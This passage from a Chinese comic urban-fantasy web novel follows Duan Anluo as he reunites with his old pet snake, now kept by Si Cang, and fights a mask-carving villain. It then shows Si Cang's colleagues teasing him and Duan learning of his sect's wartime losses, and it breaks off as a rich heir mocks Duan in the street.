说完后段安洛自己绷不住了,捂着脸笑哭,真不怪他,以前灵气稀薄,能有这么多动物修出灵性,已经算是天道垂怜了,他去找哪里找大妖? 司苍看着这鸡飞狗跳的场面,默默在心中记了一笔:段安洛的能力又加了一种,动物亲和力。像动物界的传销头子,还精通鹅语。 反正在这里干等着,也没什么事做,司苍对段安洛勾了勾手指,“上来,给你看个东西。” 段安洛一边上车一边问:“什么东西?” 车门一关,一条水桶粗的白蛇虚影直接出现在车厢里,银白的鳞片泛着冷光,体型大的占据了多半个房车。 它翘着头,冲着段安洛爬过去,头比段安洛的腰都粗,离得近了,能看到头顶已经鼓起两个小包——这是快要化蛟的征兆! “司苍!”段安洛被吓得一个激灵,往后退了好几步,跌坐在最后排的座位上。 白蛇不管不顾地扑过来,速度快得惊人,段安洛条件反射地抬手去挡,却被冰凉的蛇身缠了个结实。 “司苍!你快阻止它!”段安洛声音都变调了,“它都快化蛟了!一使劲就能把我勒死!” 司苍难得看到段安洛吃瘪,“你不是说蛇很可爱,不害怕吗?” 他没有察觉到白蛇对段安洛的杀心,反而感觉到它现在非常开心,像哈士奇找到了主人,只想上去撒娇。 他也不知道白蛇为什么会对段安洛有这种心思,他养了这么久,也只是给他当靠背用,喂一头牛都不会对他摇尾巴,这条没良心的蛇! 段安洛想动手了,“它太大了!你快把它拉开!要不然我揍它了!” 然而,预想中的窒息感却没有传来,白蛇把他整个人缠住后,小心翼翼地用脑袋蹭着他的脸颊,信子嘶嘶地吐着,活像只撒娇的大狗在吐舌头。 段安洛愣住了,熟悉的亲昵感让他心跳加速,一种说不清道不明的情绪从心底漫上来,他试探性地伸出手,白蛇立刻把脑袋凑过来,在他掌心轻轻地蹭。 “这个感觉……”段安洛声音突然有点哑,“你是……” 白蛇激动地扭动身体,用尾巴尖小心翼翼地点了点段安洛的心口,又指了指自己,眼睛里闪着人性化的期待。 是我啊! 我啊! 段安洛瞪大眼睛:“小白?!你是小白!你怎么这么大了!” 被认出来了,白蛇开心得像小狗一样蹭他脸。 段安洛激动地双手捧起小白的头,像搓小狗头一样搓,“宝贝儿,你怎么这么大了?你都快长角了!你本体在哪儿?我走了以后有没有人欺负你?你怎么跟司苍在一起?” 他没想到小白能活这么多年,他养了那么多灵兽,只有小白是最没有信心能活下来的,因为它那时候刚开灵智。 它活下来也应该是玄门的镇宅神兽,怎么会跟司苍在一起? 司苍有些吃味,“你们认识多久了?” 段安洛推开凑过来的蛇脑袋,“很久很久,它以前是我养的。” 司苍心说怪不得这蛇怎么都养不熟,跟他不亲。 段安洛看到小白额头上,有个红色符文,是契约的痕迹,“你们签订主仆契约了?” 小白傻乎乎地蹭着段安洛的胳膊,冰凉的鳞片贴着他的皮肤,尾巴尖欢快地卷来卷去。 段安洛叹了口气,伸手摁住它的脑袋,指尖轻轻点了点它的小角。这条傻蛇,到底明不明白什么叫主仆契约? 这种契约一旦签订,主人一念之间就能决定它的生死,让它魂飞魄散也不过是一个念头的事。 他见过太多修出灵性的仙家,被不良玄术师欺骗、奴役,被榨干最后一丝价值,别说修成正果,连轮回的机会都没有。 段安洛相信司苍的人品,他不屑去做那种事,即便如此,他还是忍不住问:“司苍,我能不能……给它赎身?” 小白对段安洛来说,不仅仅是宠物,更是曾经留下的唯一的家人。穿越五百年的时空,玄门曾经拥有的一切至今什么都没能留下,只有小白。 司苍语气平淡:“我捡到它的时候,它浑身是伤,快死了,我带回来当狗养的。” 他顿了顿,补充道:“它除了吃就是睡,偶尔给我当靠背,别的什么都不会干,它一顿能吃两只羊,每个月至少喂它一头牛,也没见它对我有多亲密。如果它愿意跟你走……” 不等司苍说完,小白就点了点尾巴尖,它愿意! 司苍不说话,这个没良心的! 段安洛轻轻摸了摸小白的头,低声道:“要不,你还是先跟着他吧,我会经常去看你的。” 毕竟太能吃了,他现在养不起。 小白傻了,尾巴僵在半空,不可置信地看着他:不是,你说不要就不要了? 它急得尾巴一甩,直接缠上司苍的腿:咱带着饭票不就行了? 很久很久以前,它刚刚生出灵智,还不懂什么叫失踪。 它只知道自己的家人不见了,于是它就开始找。它没有人类的时间观念,吃饱了就去找,累了就睡,冬天还会冬眠,人多的地方它也不敢去,怕被捉住。 它和人不一样,情感迟钝,不知道五百年有多漫长,只知道它找了很久很久,不知道找了多少个地方,也不知道冬眠了多少次,大多时候都吃不饱,可段安洛的气息就像烙印在灵魂里的印记,它从没有放弃。 直到为了争抢一处能冬眠的温泉,它和一只大乌龟打得难解难分,最后两败俱伤,奄奄一息,差点死在雪地里。司苍出现了,把它捡了回去。 司苍对它很好,它想吃什么就吃什么,再也不用去打架,有敌人来了,根本不用它做什么,司苍自己就解决了。 现在它终于找到了段安洛,可它也不想离开司苍这个饭票。 段安洛看着它这副贪心的模样,笑着用指尖戳了戳它的额头:“小白,你太贪心了。” 小白不依不饶地缠着段安洛闹,它还是想跟段安洛走,它不吃肉了,它能饿好久。 冬天更不用吃,它睡一觉冬天就过去了,大不了睡得久一些,吃得再少一点,半年又过去了。 段安洛宠溺地捏它头顶的小鼓包,傻孩子,吃不饱是一件很漫长、很痛苦的事。 车内的灯光落在段安洛的侧脸上,映得他茶红色的眼眸像是融化的琥珀,他眼里的神情温柔而缱绻,摸着小白的头,嘴角微微勾着,像是在怀念什么,又像是在回味一场过去的梦。 司苍的目光停留在段安洛的脸上,紧接着扭头移开视线,心底莫名升起一股怪异的感觉,他压下这股怪异,脸上的神情依旧冷淡,“它现在的名字叫白龙,已经在公会做过登记,可以养。” 段安洛心里一紧,欣喜地看向司苍。 司苍顿了顿,这才说:“我把它送你家养两个月,会给它带食物。” 说完,他瞥了眼小白,叮嘱道:“藏好了,别出来吓人。” 段安洛怔了怔,随即眉眼弯起,“怎么办?欠你的太多了,我更加还不起了。” 他想了想,语气难得的认真,“以后我不逗你了,咱们好好做朋友吧。” 司苍:“……” 他沉默了一瞬,忽然觉得自己疯了。 大半夜跑来给他当保镖,现在还要赔上一条精心饲养了八年的蛟蛇! 司苍想了半天,都没想明白是怎么回事,最后只能想到一点:段安洛克他! 段安洛心思全在小白身上,掰开它的嘴检查,“你有没有刷牙?臭不臭?每天都洗澡吗?” 司苍闭目养神,耳朵里全是段安洛的话,吵得他睡不着,让他更加烦躁。 他更加确信了,段安洛就是克他。 一直等到下半夜,大白鹅终于回来了,跳起来用翅膀拍玻璃,“大师,我们找到了!在一条老商业街里,一个丑逼老板开的手工店,奏是他!” 大白鹅看起来很暴躁,用尖锐的喙狠狠地啄了一下车门。奈何它是灵体,也没有造成什么大的伤害,有种有气撒不出来的无力感。 段安洛下了车,“怎么回事?” “他杀了我一个小弟!”大白鹅恨得咬牙切齿,“小老鼠发现了他,我们发现它消失后才察觉到那个位置不对劲,它修行只有三年,只是想混口饭吃。” 这种事不能怪段安洛,这就是它们的命,万物以人类为主宰,动物修行就是与天争命。 它带的这些小弟随时都会死,可能被雷劈死,可能被路过的修行者踩死,也可能被产生灵识的天敌当成食物吃掉。 最后超过百年修为的,一百个里面能活下来一个,就算是天道垂怜。越往上,越难。 它明白这个道理,就是一时在感情上接受不了。 在这些有灵识的动物身上,很难找到像大白鹅这种这么通人性的。一百年以内,它们全凭本能行事,同伴被杀了,它们的本能反应是吃掉它,补充自己的灵力。 事实上也是如此,同伴中的一条小青蛇就把小老鼠给吃了,趁热,身体里还有灵气,青春没有售价,同伴入口即化,都把蛇香迷糊了。 段安洛在鹅头上拍了一下,“走,咱们回去报仇。” 大白鹅浑身一震,小小的眼睛里透着不可置信,“你真的要帮我们报仇吗?” “我本来就要弄死他,既然目标一致,那就一起去吧,老鼠的命也是命。” 段安洛回到车上,“司苍,别睡了,干正事了。” 他发现司苍很喜欢睡觉,小白应该是跟他睡习惯了,倒头就睡,一人一蛇凑一起画风还挺别致。 大白鹅也跟着上了车,“我给你们带路……嘎!!!” 看到车里这么大一条蛇,动物的本能让它恐惧地尖叫起来,挥着翅膀在车里乱窜,虽然它的眼睛构造奇特,能把看到的所有东西都看小几号,但是这条蛇太大了,小多少号也比它大很多。它是眼神有问题,它不是傻! 司苍捏了捏眉心,他发誓,再也不跟段安洛出来了,太吵了。 段安洛只能一手摁着蛇,一手抱着鹅,他也发誓以后不跟司苍一起干活,鸡飞狗跳的,司苍的八字肯定跟他不合。 两个在心里发誓再也不合作的人,沉默了一路,一直到大白鹅说的那条老商业街。 把车停到路边,他们步行进去,大概走了三分钟,大白鹅用翅膀指着一个已经关门熄灯的手工店,笃定地说:“就是这里。” 这家店外表和其他的店铺看起来并没有什么区别,统一的红牌金字,上面写了五个显眼的大字:阿桃手工店。 走到店门口,段安洛才隐隐地感觉到里面传出来的气息不正常。太多的气息混杂在一起,本就分不清到底是什么东西,又被外物紧紧地包裹住,勉强能透露出一丝,要是对灵气不敏感的,根本察觉不出来。 段安洛放弃了,既然查不出来,那就不查了,管他是什么东西,弄死就行了。 这时候,店里的人突然出声:“进来吧,我等你很久了。” 声音粗粝,带着沧桑感,像有人拿着一把锉刀在锉木头,难听至极。 实际上这个人确实在锉木头。 黑暗中,面容丑陋的男人正在雕刻一个面具,正是段安洛的脸。 他没开灯,就在黑暗中一点一点地雕琢,这张脸太精致了,像一个完美的艺术品,想要把它做得栩栩如生,每一个细节都要细细打磨。 段安洛听到里面说话,反而后退了一步,抬头看司苍,“保镖!上!” 司苍无语地一脚踹开门,往里迈了一步,段安洛紧跟进去,风度翩翩地说:“抱歉,爹来晚了,让你等的菜都凉了。” 男人雕刻的手一顿,漆黑的眸子阴沉地看过来,“我要拔了你的舌头。” 段安洛耸了耸肩,“拔不下来你就是我孙子。” 看到对方的脸,段安洛才知道为什么大白鹅说他丑,真的丑到没眼看,脸上的皮肤就像是树皮,还是那种上了岁数的陈年老树。 段安洛又补了一句,“你长这么丑,声音还这么难听,你少说话吧,吓到鹅子。” 男人放下手里的面具,缓缓站了起来,他的个子很高,跟司苍差不多,给人一种摇摇晃晃,走不稳的感觉。 他看着段安洛的脸,一字一顿地说:“段安洛这个名字,你担不起。” 段安洛感觉奇怪,“为什么不能叫?” 对方嘶哑着嗓子,“因为这是主人的禁忌,你不配,这么多年,死了多少个段安洛了,没点本事,不配叫这个名字。现在,要么我杀了你,要么你就杀了我,不断变强,让自己配得上这个名字,然后再让主人杀了你。” 段安洛心里无数mmp! 心说那个什么主人,不会是他以前的仇人吧?他仔细回想,那些仇人都被他打死没?打到魂飞魄散没?玄门现在混成这个破样,是不是有漏网之鱼,在他死后对玄门惨无人道的报复? 段安洛又脑补出他家源儿小时候吃不饱穿不暖,去要饭都抢不过流浪狗的画面,段安洛生气了,“司苍,上!” 司苍:? 段安洛猛然想起,他们现在是朋友了,他抬手把司苍挡在身后,“你退后,我先上。” 司苍“识时务”地往后退了好几步,“退了。” 段安洛惊呆了,不是,你真退了?要钱的时候也没见你这么听话啊? 司苍面无表情,好像看不懂他的控诉。 段安洛没办法,只能向前一步,抬起手,指尖的灵气开始跳跃,抬指,虚空画灵符,七道符咒凌空排成北斗七星状,玄门秘术七星锁灵阵,抬手间就布成了。 同一时间,店内所有的雕刻都在抖动,像是被人摁了启动按钮,面具、木雕、人偶全都转向段安洛。 男人嘲讽:“你竟然还懂阵法,就是不知道效果怎么样。” 段安洛不接话,伟大的网友说过:反派死于话多。 他特别听劝,有话要等弄死对方之后再聊,这样他说什么,对方都不会顶嘴。 七星变幻,杀阵启! 灵气形成的箭雨密密麻麻对准男人,一直在观察段安洛出手的司苍,第一次见到对灵力的掌控这么变态的人,忍不住眉梢一挑。 被困在阵法中的男人心思一动,木雕自动挡在他的身前,可惜他还是低估了段安洛对灵气的掌控,箭头直接九十度转弯,把男人的注意力吸引过来的时候,后面的箭已经到了。 从地下穿过去,直冲对方的心脏、脖颈、大脑,所有要害的地方全都是段安洛的重点攻击对象。 男人勉强躲开这一轮攻击,瞬间感受到一股来自灵魂的压迫感,他抬头,就见头顶一个黑色的大印压下来。 23 谁把玄门弟子都打死了? 司苍被拉着跑了十几米才反应过来,他为什么要跑?老头儿又不能把他怎么样。 他还在犹豫要不要甩开断安洛的时候,段安洛先松开了他,因为病秧子跑不动了,病秧子在掐着腰喘,病秧子的战斗力只有可怜的二十米。 司苍用不可思议的眼神看着段安洛,人,怎么能弱成这样? 段安洛把气喘匀了,慢吞吞地回到车上,拿出捡到的东西,用湿纸巾把上面的灰擦掉,又擦了擦手,这才把那个珠子举起来。只有鸽子蛋大小,像玉一样,质感冰凉,说不出是什么东西做的。 应该是藏在木头的根部,能隐藏气息,能抗一定的雷劈和火烧,是个好东西。 他在想,一棵树不可能自己刨自己,只能说是有人把他刨出来,运到商业街,根藏在地板下面,身体藏在墙里面。 这位置很刁钻,也就是小老鼠能找到,可惜那只小老鼠牺牲了,不知道尸体在哪里,回去给它超度一下。 那个主人也不知道是个什么东西,是和他有仇,还是跟他同名同姓的人有仇? 段安洛想起原身的记忆,说这本书里一直有人在背后推动剧情,让原身去作死,想想那些所谓的作死,不过是原身想要活着罢了。 有人为了让他变强,一直折磨他,目的就是为了把他培养成对手,再死在自己手里?就因为他叫段安洛? 太变态了! 段安洛很确定,他以前的仇人里没有这一款的,有也被他弄死了。 听那个老桃树的意思,已经有不少叫段安洛的人被杀了。有病!脑袋被多大的门挤过,能挤出这么大的包! 段安洛把珠子收起来,他行不更名,坐不改姓,就叫段安洛,谁来找麻烦他就弄死谁,管死、管扬灰,超度价钱要翻倍。 司苍找了个能停车又安静的地方,把车一停,接着睡觉去了。 段安洛问:“你看不看?” “不看。”司苍闭上眼,懒得看。 段安洛暗搓搓的盯着司苍,财大气粗啊,司苍绝对很有钱。 车内的灯光自动变暗,空调也开着,静谧的夜晚只听见外面微弱的虫鸣,段安洛打了个哈欠,他也困了。 随手拉过一个毯子,在另一张床上躺下,紧接着段安洛又坐了起来,这床被别人睡过,气息让他全身不适。 再看司苍睡的那张床,干干净净,床单连折痕都没有,他睡的是新的! 两张床中间就隔了一个小过道,段安洛伸出一条腿,轻轻踢了司苍一下,“咱俩换一下。” 司苍无奈的睁开眼,一字一顿的警告他:“你再折腾,我就把你扔下去。” 段安洛已经从床上站起来,直接迈过来,在司苍身侧躺下后闻了闻味道,没有陌生人的气息,舒坦多了,睡觉。 司苍猛的坐起来,忍了又忍,才没把段安洛踹下去。 段安洛已经闭上眼睛,根本不看司苍的臭脸。只要他不看,司苍就是面带微笑跟他换的,司苍真是个好人。 司苍瞪了段安洛许久,久到段安洛呼吸平稳,已经快睡着了,最后司苍妥协了,病秧子又弱又横,一戳就死,他惹不起,他换。 从头看到尾的大白鹅深沉的点评:“你不是他的对手。” 然后鹅被司苍拎着脖子扔下去了。 第二天,司苍把段安洛送回家,看到段安洛的住处后,他犹豫要不要把小白送过来。 上次来的时候,司苍满心都是“段安洛偷了他的气运和功德,害他霉运附体”的愤怒,根本没注意周围环境。现在仔细一看,司苍沉默了,人,怎么能穷成这样? 江源开心地跑出来,见段安洛平安回来,没有受伤,眼圈都红了:“师祖,您终于回来了。” 段安洛笑着揉了揉小孩的头:“我不是给你发消息了吗?不用担心。” 这时穆清卓从屋里走出来,见段安洛没事,明显松了口气。 段安洛笑着问:“你怎么来了?” 这话说得好像他不该来似的,穆清卓别扭地说:“想来看看,就过来了。” 他就是不放心,才过来看看,来了才知道段安洛不是被鬼抓走,而是被警察带走了。他爷爷聪明一世,老了却糊涂,给他认了这么个不靠谱的干爹,天天吓人。 看到跟在段安洛身后的司苍,穆清卓皱了皱眉,这人有点眼熟,他好像在哪里见过。 段安洛注意到他的眼神,嘴角勾了勾,“愣着干什么?还不快请你干妈进屋坐。” 见穆清卓一脸茫然,段安洛提醒他:“你不是发了广告,全城找你干妈吗?这就是,人就在你面前,还不叫人?” 段安洛这句话直接把穆清卓给干懵了,脑袋CPU直接烧干,干妈?司苍女士?女士?! 江源魂魄不全,天生缺根筋,没心没肺的,他感觉不到司苍身上的压迫感有多么可怕。 穆清卓不一样,他是个普通人,司苍这身高,这气场,往那里一站,压的他大气都不敢喘,特别是司苍看他的眼神并不算友善。 穆清卓从小跟着他爷爷,政商两界的能人见过不少,还没有见过司苍这种气质的,又冷又锐,连五官的极具侵略性,让人不敢跟他对视。 就这人,管段安洛叫夫君? 穆清卓真想撬开段安洛的脑袋,看看他的脑回路,爹你怕不是对自己有什么误解? 他这种半路捡来便宜儿子,对自己的定位很明确,他无权干涉段安洛的爱情观。在认识他之前,段安洛可能就认识这个人了。 穆清卓很想说,你认知错误就不要乱说,对方看他的眼神,太吓人了。 段安洛看他不说话,又补充道:“对了,你干妈还救过你的命呢,上次你中蛊,要不是他保住你的命,你都等不到我来救你。” 在原定的命运中,不知道是谁救了穆清卓,反正这小子吃了不少苦。哪像现在,腿没事,家还在,爷爷也健在,前途一片光明。这小子遇到他是几辈子修来的福气?好大儿该回家烧高香才对。 穆清卓话到嘴边又咽了回去,从司苍看他的眼神就知道,这声“干妈”要是叫出口,后果肯定好不到哪里去。 不管司苍和段安洛是什么关系,人都到了家门口,出于礼貌也要请人进来坐坐。他看着司苍应该和段安洛的年纪差不多,硬着头皮,客气地说:“叔,进来坐坐吧。” “……不必了。”司苍抽了抽嘴角,这辈分莫名其妙。 穆清卓认真道歉:“叔,对不起,我以为你是女的,闹笑话了。” 司苍不用想也知道,段安洛肯定胡说八道了,他懒得跟一个毛头小子计较,“算了。” 他目光转向段安洛,“我走了。” “小白……” “我让人送它过来。” 段安洛开心的笑弯了眼睛,“那我在家里等它,你回去注意安全。” 司苍点了点头,没再说什么,怕段安洛再胡说八道,走的时候速度贼快。 段安洛在后面撇撇嘴,嘟囔了一句:“走这么快干什么?又没狗追。” 江源没听清,“师祖,您说什么?” “我说你这两天长高了。”段安洛把小孩八厘米高的头发摁下去,趁江源发呆,去洗了个澡,换了身衣服,收拾妥当后,这才有时间问穆清卓:“你家里的事处理的怎么样了?” 穆清卓稍显稚嫩的脸上透着不符合这个年纪的沉稳,“查清楚了,我真的二叔已经死了,这个二叔是假的,我也不知道他是怎么弄了一张和我叔一模一样的脸。我做了DNA验证,确定他和我爷爷没有任何关系。而且他好像牵扯了什么案子,一直有人调查他。” 穆清卓还不知道,是因为老道被抓后供出了他二叔,然后才有人让他叔配合调查,反正现在他那个冒牌叔脱不开身,穆清卓收拾他就简单多了。 “还有那个私生子,不是我穆家的血脉,我也不用再留情面。幸好小峰是我二叔的孩子,可惜被那个冒牌货故意养废了。” 说到这里,穆清卓气得咬着后槽牙,他终于知道他爷爷之前对他恨铁不成钢是什么感受了。 他现在见了穆竞峰,恨不能一天打他八顿,再把脑瓜子给他开瓢,把知识塞进去,再给他缝上。 他怕直接塞嘴里,那个不成器的玩意儿给吐出来,或者囫囵的拉出去。 “一切都会好起来的。”段安洛用一句话把这件事下了定论。 穆清卓点了点头,听段安洛这么说,他心里就踏实多了。 他决定以后只要心情浮躁、不安、迷茫的时候,都要来这里坐一坐。 确定段安洛没什么事,穆清卓坐了一会儿就走了。 段安洛闲着没事,找了一把小刀,给江源做桃木剑。 都说隔辈儿亲,这隔着七八代的大孙子,不是一般的亲。 木头很硬,段安洛雕刻的很慢,一上午都没做完。 他还要给大白鹅它们做一个牌子,以后它们不用到家里来,点上香火它们就能收到。 中午,段安洛准备休息一会儿,刚躺下,就收到一条好友申请,上面备注是:公会总部财务处小张。 他点了通过后,对方直接给他发过来5万块钱。 段安洛开心的点了接收,不过一想到要跟司苍四六分,段安洛就心疼。 犹豫了几秒后,段安洛咬牙切齿的给司苍转过去3万,心脏都在滴血。 司苍还挺意外的,给他回了一句:不赖账? 段安洛回他:说出去的话不算数,跟吐出去的饭又舔回来有什么区别? 言必行,行必果。既然约定好了,就一个字都不许改,这是他的原则。 然后就看到司苍点了退回:下次再说吧。 段安洛开心的问:你真不要了? 其实司苍发完这条消息就后悔了,不是不要钱后悔,而是他回的是下次再说。没有下次了,他不会再去给段安洛当保镖了。 这个人总是出其不意的左右他的想法,不断的打破他的底线,让他不自觉的去关注他又在搞什么奇怪的东西,会说出什么奇怪的话,这种失控的感觉让他莫名的烦躁。 他确定了,段安洛克他,他俩八字不合,以后少接触。 不过消息已经发出去了,再撤回来就显得太刻意。 他冷着脸回了句:小白的餐费。 这时候,一个俊美的和尚走进司苍的休息室,单手执掌,对着司苍做了个佛礼,然后问了句和他身份特别不相干的话:“队长,没把嫂子接过来吗?” 司苍眉眼一挑,“什么嫂子?” 和尚一本正经的说:“白子越跟我们说你去英雄救美了,救完之后你要带人家去领证,人家没跟你去,你当时可丢面子了。他还说嫂子长得可好看了,人美心善脾气好。有照片没有?给我瞅一眼。” 司苍捏着手机的骨节泛白,白、子、越! 白子越啃着一个鸡蛋灌饼溜溜达达的进来,对着和尚腿上踢了一脚,“你一个和尚,你怎么这么八卦?” “和尚怎么了?”和尚念了声佛号,俊美的脸四十五度角仰望天空,透着一股神圣的慈悲相,“佛祖如果不认小僧,小僧只能把佛祖也超度了,阿弥陀佛。” 白子越翻了个白眼,“闭嘴吧!你个不正经的魔和尚!” 再一低头,发现司苍看自己的眼神,白子越腿一软,笑呵呵的把手里的鸡蛋灌饼递过去,“老大你吃不吃饼,今天运气好,两个都是双黄蛋。” 司苍冷冷的看着他,没说话,白子越心说要凉,趁机往后退了几步,想跑。 司苍叫住他,“你把小白给他送过去。” “小白?白龙啊?”白子越都想摸摸司苍的额头,哥你是不是发骚没骚动,你发烧了? “你确定嫂子会喜欢它吗?正常人不会喜欢那么大的蛇吧,我看了都害怕。不是我说你,老大,追人的方式有很多种,你偏偏选了一种正常人接受不了的,你这样是追不上嫂子的。” 司苍站了起来,他忍了两天了,一直想踹个人。 白子越立马咬了一大口饼,表示嘴塞住了,不敢再说了。 司苍往外走,白子越就往后退,始终跟司苍保持七八步的距离。 司苍边走边说:“走之前把它喂饱。” 蛇和其他动物不一样,吃一顿能顶好几个月,甚至一年,小白吃那么多纯粹是馋的。它的消化能力比普通的蟒蛇更好,吃多了也不怕撑死。 “再给它带一头牛,要收拾干净的。” 白子越已经快退到门口了,“这么热,怎么带?路上臭了怎么办?” 司苍看他像看个傻子,“你不会买个冰箱吗?装满拉过去。” “啧啧啧~”连和尚都听不下去。 “咿~”白子越还没咦完,就见距离自己有七八步远的司苍一个闪身到了自己面前,他倒吸了一口气,转身就要跑,刚转过去,屁股上就挨了一脚。 司苍出气似的,直接把他踹了出去,“让你胡说八道!” 白子越手里还拿着饼,被踹趴之后在地板上滑行了十几米,饼没掉。 司苍深吸一口气,舒服多了。 白子越趴地上,龇牙咧嘴的又啃了两口饼,然后像只羚羊一样,四肢一用力,在原地弹起来,后背几乎弹到天花板,落地后噔噔噔的跑没影了。 司苍看到他活蹦乱跳的,又想到段安洛跑二十步就喘的样子,庆幸自己忍住了。 再回头,一直啧吧嘴的和尚也没影了。 司苍嫌弃的不行,他给段安洛送条蛇,到他们嘴里都变得那么奇怪,他们都有病! 会长还觉得司苍有病呢,“那个姓段的小孩是不是给他下了降头,人家招招手他就跟着人家走了,还敢在市区动手!” 会长连下三条禁令:“禁止司苍带武器出门。” 小助理解释:“他没带,他就随手抠了块木条。” 会长:“禁止司苍在市区内动手,木条也不行。” 小助理:“这都不算动手,他只是拆了三家店而已。您看两边的地下,他要是不拆,两家店的老板也活不成,他这是救人了呢。” 会长:“那就禁止司苍,禁止他……禁止他跟那个姓段的小孩一起出去做任务!” 小助理听他越说越离谱,明显被气糊涂了,“会长,阻止年轻人谈恋爱下辈子也会变成秃头的哦,会投胎成日本人哦。” 诅咒太恶毒了,恶毒到会长自动忽略了上半句,拧着小助理的耳朵跳脚,“你个倒霉孩子,你疯了吧!你跟谁学的这么恶毒!我让你师父打死你!” 下午,段安洛拿了块牌子,心神合一,写上:仙家小小联盟军。 他嘱咐江源:“它们要在咱们家吃一个月,你上香的时候要记得给它们准备香火和贡品。” 它们属于仙家那一列,江源恭敬的把牌子摆在最下面,摆上供果,上了三炷香。 动物联盟开心坏了,它们出息了,没上餐桌,上供桌了! 果然,选择大于努力,跟着大哥混,三天吃九顿。 大白鹅甚至提出要帮段安洛看家,“我看家可好了,一夫当关,万夫莫开。” 段安洛问:“你用灵体给我看家?你本体藏哪儿了?” 24 你会偷偷吃屎吗? 江源解释:“师祖,您不是说过,我门派弟子,以降妖除魔为己任,心系家国天下,护百姓苍生安宁,必要时可随心而动吗? 这些年都是国家在打仗,以前的老祖宗太能打了,不是开疆拓土,就是在开疆拓土的路上,吃苦的都是老百姓。每次到了生死存亡的时候,门派弟子都会去打架。 所以每隔几年,一场大战,门内弟子参加一次,死一些人。每隔几年,又一场大战,又死一些人…… 最近的这一次是护国之战,那时候师父还小,师门长辈为了给玄门留个香火,没让他下山,其他人都战死了。 咱们现在的家,就是国家给的,还发了一大笔奖金。师父说那时候老百姓都吃不饱饭,他就把钱给老百姓分了。这房子当时给的时候可好了,因为没钱养护,他本事也不好,就破成这样了。 对了,玄门旧址的那座山,国家还给咱们留着呢,当年战乱,师爷爷他们怕自己死后,师父保不住家产,就把能拆的都拆了,交给了国家,咱家御赐的牌匾现在还在博物馆呢。 幸亏都拆了,师父说后来敌人扫荡,把咱们家的山头都被炸平了,现在都长草了。师父死前跟我说,那是祖宗留下的基业,饿死也不能卖。” 他指着布包里剩下的小木盒,“这是地契。” 段安洛沉默良久,冷着脸问:“你怎么不早说?” 江源被吓懵了,“您,您没问啊。” 段安洛没忍住,对江源屁股踢了一脚,“不问你就不说吗?这么大的事你都不说?” 江源身体晃了晃,呆愣了两秒后,噗通一声跪下了,“我错了。” 师祖生气了,肯定是他的错。 段安洛缓声道:“他们做的对,都要亡国灭种了,还算什么命,镇什么邪?披着人皮的魔,更该杀!这笔血账,玄门记下了,以后但凡有机会……” 段安洛眸子冷的发邪,紧紧捏着拳头,站了好一会儿,才让自己的心情平复下来,“起来吧,去买酒买肉,把贡品都换掉,桌子也换了。” 以前没钱买香火,让他们吃的这么寒酸,现在有钱了,以后都吃好的。 江源没敢起来,跪在地上小心翼翼的问:“那,师祖,我要是考不到60分,能不能别把他们挖出来?” 段安洛嘴角抽了抽,还想给他一脚。 小憨货! 江源呆呆的看着段安洛,没得到确定的答复不敢起来,万一师祖不同意,他还要跪下求情的。 “不挖了,直接把你挂墙上。” 江源开心的起来了,那他就放心了。 他可以死,祖宗不能挖。 不过,考不到60分就被挂墙上,师祖是不是不喜欢他了? 段安洛点了三炷香,插进香炉中,“收拾一下,准备出门。” “师祖,去哪儿啊?” “去买家具,修房子,改善伙食,买一车胳膊粗的大香。”说半天,段安洛突然反应过来,“你今天怎么没去学堂?” 穆清卓那小子也没去,要死啊! 江源挠了挠头,“我们学校去研学了。” 学校每学期都有这种活动,学生自愿报名,但是需要交钱,往返车费,餐费,再加上门票费,大概一两百块钱。江源为了省钱,每次都不报名。 段安洛看出来后,“我给你的钱呢?又舍不得花?” 江源不好意思的低下头,“我想攒钱给师祖买个床垫子,我看上个软的,老板说要四千多。” 段安洛:“……傻孩子,你不用考60分,你能考30分,师祖就不把你挂墙上。” 江源眼睛一亮,30分,他有信心,他这两天一直和韩臻刷题,30分不在话下! 爷孙俩开着小电车出门,直奔装修市场。 原主的记忆里,最深刻的就是被人害死那一段,日常生活中的细节反而模糊不清。因此,段安洛看见什么都想要,看见新鲜的就想买,一个老大爷在路边卖在河里钓上来的王八,他都想买回去,摆供桌上,给徒孙们看看。 看,这就是现代的王八,屁股还带花边呢,以前真没有。 江源给他买了一碗刨冰,递给他一个小勺,让他分散一下注意力。江掌门觉得,师父、师爷爷他们并不想看王八。 江源把车停到路边,有阴凉的地方,嘱咐段安洛:“师祖,外面热,您在车上坐着,我去买个衣架,马上回来。” 段安洛挥挥手里的塑料勺,去吧去吧,他绝对不会下车的,他怕热。 于是路过的行人就看到一个浑身透着仙气,俊美如谪仙的贵公子,神情专注地吃着路边摊的刨冰,谁路过都要看他一眼。 这条街是售卖各类建筑材料的聚集地,小店一个连着一个,价格亲民,属于老百姓都能消费的起的地方,住在这附近的人,如果家里的家具坏了,都会来这里买。大件的话老板还能免费送货上门,包安装。 而街的对面,则是另一种画风。万嘉建筑大厦,十层楼那么高,里面全是高级建材,专供高端装修。这条建材街和那座商业大厦,都是万家的产业。 此刻,来查账的万家二少爷万凯旋恰好从自家商厦出来,目光随意一扫,就精准地捕捉到了马路对面的段安洛。没办法,他那张脸实在是太有辨识度了。 “哟,这不是段少爷吗?”万凯旋嘴角勾起一抹讥讽,“怎么,被段家扫地出门后无家可归,沦落到路边吃垃圾了?” 段安洛闻声转头,目光落在万凯旋身上。他努力在原主记忆中搜索,都没想起这人是谁。 是谁不重要,重要的是对方眼中那赤裸裸的嘲讽和恶意——这就够了。 本来心情就不爽,小蛋泡子偏要惹他,呵! 万凯旋见他看过来,故意将跑车开到段安洛的小电驴旁边,奢华的超跑与小电动车形成了刺眼的对比。 他想近距离继续嘲讽段安洛,目光触及到段安洛那张脸时,心里却猛地一跳,眼前的段安洛和以前判若两人。 特别是那份超然脱俗的气质……要不是瞳孔的颜色,和眼角那颗标志性的泪痣,他几乎要怀疑自己骂错了人。 惊艳过后,是恼怒:凭什么离开了段家,段安洛反而更让人移不开眼? 他看见自己,要么就该羞愧难当,掉头就跑,生怕自己看到他的惨状。 要么就该摇尾乞怜,好好巴结自己,求自己赏他一口饭吃。 而不是像现在这样,像看陌生人一样看自己,没有羞愤,没有巴结,甚至没有情绪波动! 他优雅个蛋啊!混成这样还装什么逼? 万凯旋恨不得立刻打烂段安洛的脸,你他妈有点情绪反应行不行? 他知道不少内幕,段安洛不仅鸠占鹊巢多年,还心思歹毒,屡次欺负段家真正的血脉段明轩,他把段明轩推下楼梯摔断肋骨,害明轩不能参加考试,甚至将明轩按进浴缸里,差点淹死! 段明轩本就身世可怜,性子又软,好不容易回到亲生父母身边,还要被这个冒牌货虐待,段家将他赶出去自生自灭,太便宜他了! 